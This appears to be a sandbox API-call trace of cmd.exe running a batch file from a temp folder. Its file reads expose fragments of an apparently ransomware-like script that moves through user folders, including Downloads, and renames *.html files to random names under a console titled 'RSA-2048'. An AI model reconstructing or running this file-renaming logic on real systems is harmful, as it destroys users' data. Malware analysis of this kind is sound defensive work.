[0039.929] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.929] GetFileType (hFile=0x74) returned 0x1 [0039.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0039.929] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=1795, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0039.930] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0039.930] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0039.930] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.930] GetFileType (hFile=0x74) returned 0x1 [0039.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0039.930] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=1822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0039.930] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0039.930] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0039.930] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.930] GetFileType (hFile=0x74) returned 0x1 [0039.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0039.930] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=1833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0039.930] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0039.931] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.931] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0039.931] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.931] GetFileType (hFile=0x74) returned 0x1 [0039.931] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0039.931] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.931] SetFilePointer (in: hFile=0x74, lDistanceToMove=1839, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0039.931] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Ran\r\nock\r\n") returned 6 [0039.931] _close (_FileHandle=3) returned 0 [0039.931] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.931] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.932] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.932] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.932] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.932] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.932] SetConsoleInputExeNameW () returned 0x1 [0039.932] GetConsoleOutputCP () returned 0x1b5 [0039.932] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.932] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.933] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.933] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.933] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.933] SetFilePointer (in: hFile=0x74, lDistanceToMove=1839, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0039.933] GetProcessHeap () returned 0x4e0000 [0039.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0039.933] GetProcessHeap () returned 0x4e0000 [0039.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5940 | out: hHeap=0x4e0000) returned 1 [0039.933] GetProcessHeap () returned 0x4e0000 [0039.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.933] GetProcessHeap () returned 0x4e0000 [0039.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.933] GetProcessHeap () returned 0x4e0000 [0039.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0039.933] GetProcessHeap () returned 0x4e0000 [0039.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.933] GetProcessHeap () returned 0x4e0000 [0039.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.933] GetProcessHeap () returned 0x4e0000 [0039.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.933] GetProcessHeap () returned 0x4e0000 [0039.933] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.933] GetProcessHeap () returned 0x4e0000 [0039.934] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4530 | out: hHeap=0x4e0000) returned 1 [0039.934] GetProcessHeap () returned 0x4e0000 [0039.934] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.934] GetProcessHeap () returned 0x4e0000 [0039.934] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.934] GetProcessHeap () returned 0x4e0000 [0039.934] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.934] GetProcessHeap () returned 0x4e0000 [0039.934] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.934] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.934] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0039.934] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1efe, lpOverlapped=0x0) returned 1 [0039.934] SetFilePointer (in: hFile=0x74, lDistanceToMove=1845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0039.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="cd..\r\n EXIST *.gif goto Ran\r\n") returned 6 [0039.934] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.934] GetFileType (hFile=0x74) returned 0x1 [0039.934] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.934] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0039.934] GetProcessHeap () returned 0x4e0000 [0039.934] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.935] GetProcessHeap () returned 0x4e0000 [0039.935] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.935] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.935] GetProcessHeap () returned 0x4e0000 [0039.935] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f58a0 [0039.935] _tell (_FileHandle=3) returned 1845 [0039.935] _close (_FileHandle=3) returned 0 [0039.935] _wcsicmp (_String1="cd..", _String2="DIR") returned -1 [0039.935] _wcsicmp (_String1="cd..", _String2="ERASE") returned -2 [0039.935] _wcsicmp (_String1="cd..", _String2="DEL") returned -1 [0039.935] _wcsicmp (_String1="cd..", _String2="TYPE") returned -17 [0039.936] _wcsicmp (_String1="cd..", _String2="COPY") returned -11 [0039.936] _wcsicmp (_String1="cd..", _String2="CD") returned 46 [0039.936] _wcsicmp (_String1="cd..", _String2="CHDIR") returned -4 [0039.936] _wcsicmp (_String1="cd..", _String2="RENAME") returned -15 [0039.936] _wcsicmp (_String1="cd..", _String2="REN") returned -15 [0039.936] _wcsicmp (_String1="cd..", _String2="ECHO") returned -2 [0039.936] _wcsicmp (_String1="cd..", _String2="SET") returned -16 [0039.936] _wcsicmp (_String1="cd..", _String2="PAUSE") returned -13 [0039.936] _wcsicmp (_String1="cd..", _String2="DATE") returned -1 [0039.936] _wcsicmp (_String1="cd..", _String2="TIME") returned -17 [0039.936] _wcsicmp (_String1="cd..", _String2="PROMPT") returned -13 [0039.936] _wcsicmp (_String1="cd..", _String2="MD") returned -10 [0039.936] _wcsicmp (_String1="cd..", _String2="MKDIR") returned -10 [0039.936] _wcsicmp (_String1="cd..", _String2="RD") returned -15 [0039.936] _wcsicmp (_String1="cd..", _String2="RMDIR") returned -15 [0039.936] _wcsicmp (_String1="cd..", _String2="PATH") returned -13 [0039.936] _wcsicmp (_String1="cd..", _String2="GOTO") returned -4 [0039.936] _wcsicmp (_String1="cd..", _String2="SHIFT") returned -16 [0039.936] _wcsicmp (_String1="cd..", _String2="CLS") returned -8 [0039.936] _wcsicmp (_String1="cd..", _String2="CALL") returned 3 [0039.936] _wcsicmp (_String1="cd..", _String2="VERIFY") returned -19 [0039.936] _wcsicmp (_String1="cd..", _String2="VER") returned -19 [0039.936] _wcsicmp (_String1="cd..", _String2="VOL") returned -19 [0039.936] _wcsicmp (_String1="cd..", _String2="EXIT") returned -2 [0039.936] _wcsicmp (_String1="cd..", _String2="SETLOCAL") returned -16 [0039.936] _wcsicmp (_String1="cd..", _String2="ENDLOCAL") returned -2 [0039.937] _wcsicmp (_String1="cd..", _String2="TITLE") returned -17 [0039.937] _wcsicmp (_String1="cd..", _String2="START") returned -16 [0039.937] _wcsicmp (_String1="cd..", _String2="DPATH") returned -1 [0039.937] _wcsicmp (_String1="cd..", _String2="KEYS") returned -8 [0039.937] _wcsicmp (_String1="cd..", _String2="MOVE") returned -10 [0039.937] _wcsicmp (_String1="cd..", _String2="PUSHD") returned -13 [0039.937] _wcsicmp (_String1="cd..", _String2="POPD") returned -13 [0039.937] _wcsicmp (_String1="cd..", _String2="ASSOC") returned 2 [0039.937] _wcsicmp (_String1="cd..", _String2="FTYPE") returned -3 [0039.937] _wcsicmp (_String1="cd..", _String2="BREAK") returned 1 [0039.937] _wcsicmp (_String1="cd..", _String2="COLOR") returned -11 [0039.937] _wcsicmp (_String1="cd..", _String2="MKLINK") returned -10 [0039.937] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x418) returned 0x4f6868 [0039.937] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4f6870, lpFilePart=0x41f338 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f338*="Desktop") returned 0x25 [0039.937] SetErrorMode (uMode=0x0) returned 0x1 [0039.937] GetProcessHeap () returned 0x4e0000 [0039.937] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6868, Size=0x5e) returned 0x4f6868 [0039.937] GetProcessHeap () returned 0x4e0000 [0039.937] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f6868) returned 0x5e [0039.937] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.937] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0039.938] GetProcessHeap () returned 0x4e0000 [0039.938] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x120) returned 0x4f4a98 [0039.938] GetProcessHeap () returned 0x4e0000 [0039.938] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x238) returned 0x4f68d0 [0039.938] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f68d0, Size=0x122) returned 0x4f68d0 [0039.938] GetProcessHeap () returned 0x4e0000 [0039.938] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f68d0) returned 0x122 [0039.938] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.938] GetProcessHeap () returned 0x4e0000 [0039.938] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe0) returned 0x4f4bc0 [0039.938] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4bc0, Size=0x76) returned 0x4f4bc0 [0039.938] GetProcessHeap () returned 0x4e0000 [0039.938] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4bc0) returned 0x76 [0039.938] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.938] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cd...*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0039.938] GetLastError () returned 0x2 [0039.938] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cd..", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0039.939] GetLastError () returned 0x2 [0039.939] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.939] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cd...*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0039.939] GetLastError () returned 0x2 [0039.939] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cd..", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0039.939] GetLastError () returned 0x2 [0039.939] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.939] FindFirstFileExW (in: lpFileName="C:\\Windows\\cd...*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0039.940] GetLastError () returned 0x2 [0039.940] FindFirstFileExW (in: lpFileName="C:\\Windows\\cd..", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0039.940] GetLastError () returned 0x2 [0039.940] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.940] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\cd...*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0039.942] GetLastError () returned 0x2 [0039.942] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\cd..", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0039.944] GetLastError () returned 0x2 [0039.944] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0039.944] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\cd...*", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0039.948] GetLastError () returned 0x2 [0039.948] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\cd..", fInfoLevelId=0x1, lpFindFileData=0x41f0b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0b4) returned 0xffffffff [0039.949] GetLastError () returned 0x2 [0039.950] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.951] GetProcessHeap () returned 0x4e0000 [0039.951] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5880 [0039.951] GetProcessHeap () returned 0x4e0000 [0039.951] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.952] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41ec64 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.952] GetFullPathNameW (in: lpFileName="..", nBufferLength=0x104, lpBuffer=0x41ec64, lpFilePart=0x41ec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x41ec60*="5p5NrGJn0jS HALPmcxz") returned 0x1d [0039.952] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz")) returned 0x10 [0039.952] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4f4c40 [0039.952] FindClose (in: hFindFile=0x4f4c40 | out: hFindFile=0x4f4c40) returned 1 [0039.952] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41e9e0 | out: lpFindFileData=0x41e9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4f4c40 [0039.952] FindClose (in: hFindFile=0x4f4c40 | out: hFindFile=0x4f4c40) returned 1 [0039.952] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0039.952] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz")) returned 0x10 [0039.952] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz")) returned 1 [0039.953] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0039.953] GetProcessHeap () returned 0x4e0000 [0039.953] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4d18 | out: hHeap=0x4e0000) returned 1 [0039.953] GetEnvironmentStringsW () returned 0x4f4c40* [0039.953] GetProcessHeap () returned 0x4e0000 [0039.953] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xb34) returned 0x4f6e38 [0039.953] FreeEnvironmentStringsW (penv=0x4f4c40) returned 1 [0039.953] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a605260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0039.953] GetProcessHeap () returned 0x4e0000 [0039.953] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4548 | out: hHeap=0x4e0000) returned 1 [0039.953] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.953] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.953] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.953] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.954] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.954] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.954] SetConsoleInputExeNameW () returned 0x1 [0039.954] GetConsoleOutputCP () returned 0x1b5 [0039.954] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.954] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.954] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0039.955] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 3 [0039.955] _get_osfhandle (_FileHandle=3) returned 0x1c [0039.955] SetFilePointer (in: hFile=0x1c, lDistanceToMove=1845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0039.955] GetProcessHeap () returned 0x4e0000 [0039.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4530 | out: hHeap=0x4e0000) returned 1 [0039.955] GetProcessHeap () returned 0x4e0000 [0039.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.955] GetProcessHeap () returned 0x4e0000 [0039.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.955] GetProcessHeap () returned 0x4e0000 [0039.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.955] GetProcessHeap () returned 0x4e0000 [0039.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bc0 | out: hHeap=0x4e0000) returned 1 [0039.955] GetProcessHeap () returned 0x4e0000 [0039.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f68d0 | out: hHeap=0x4e0000) returned 1 [0039.955] GetProcessHeap () returned 0x4e0000 [0039.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.955] GetProcessHeap () returned 0x4e0000 [0039.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6868 | out: hHeap=0x4e0000) returned 1 [0039.955] GetProcessHeap () returned 0x4e0000 [0039.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.955] GetProcessHeap () returned 0x4e0000 [0039.955] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.956] _get_osfhandle (_FileHandle=3) returned 0x1c [0039.956] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0039.956] ReadFile (in: hFile=0x1c, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ef8, lpOverlapped=0x0) returned 1 [0039.956] SetFilePointer (in: hFile=0x1c, lDistanceToMove=1859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0039.956] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=14, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="cd Downloads\r\n.gif goto Ran\r\n") returned 14 [0039.956] _get_osfhandle (_FileHandle=3) returned 0x1c [0039.956] GetFileType (hFile=0x1c) returned 0x1 [0039.956] _get_osfhandle (_FileHandle=3) returned 0x1c [0039.956] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0039.956] GetProcessHeap () returned 0x4e0000 [0039.956] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.956] GetProcessHeap () returned 0x4e0000 [0039.956] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.957] _tell (_FileHandle=3) returned 1859 [0039.957] _close (_FileHandle=3) returned 0 [0039.957] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0039.957] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0039.957] 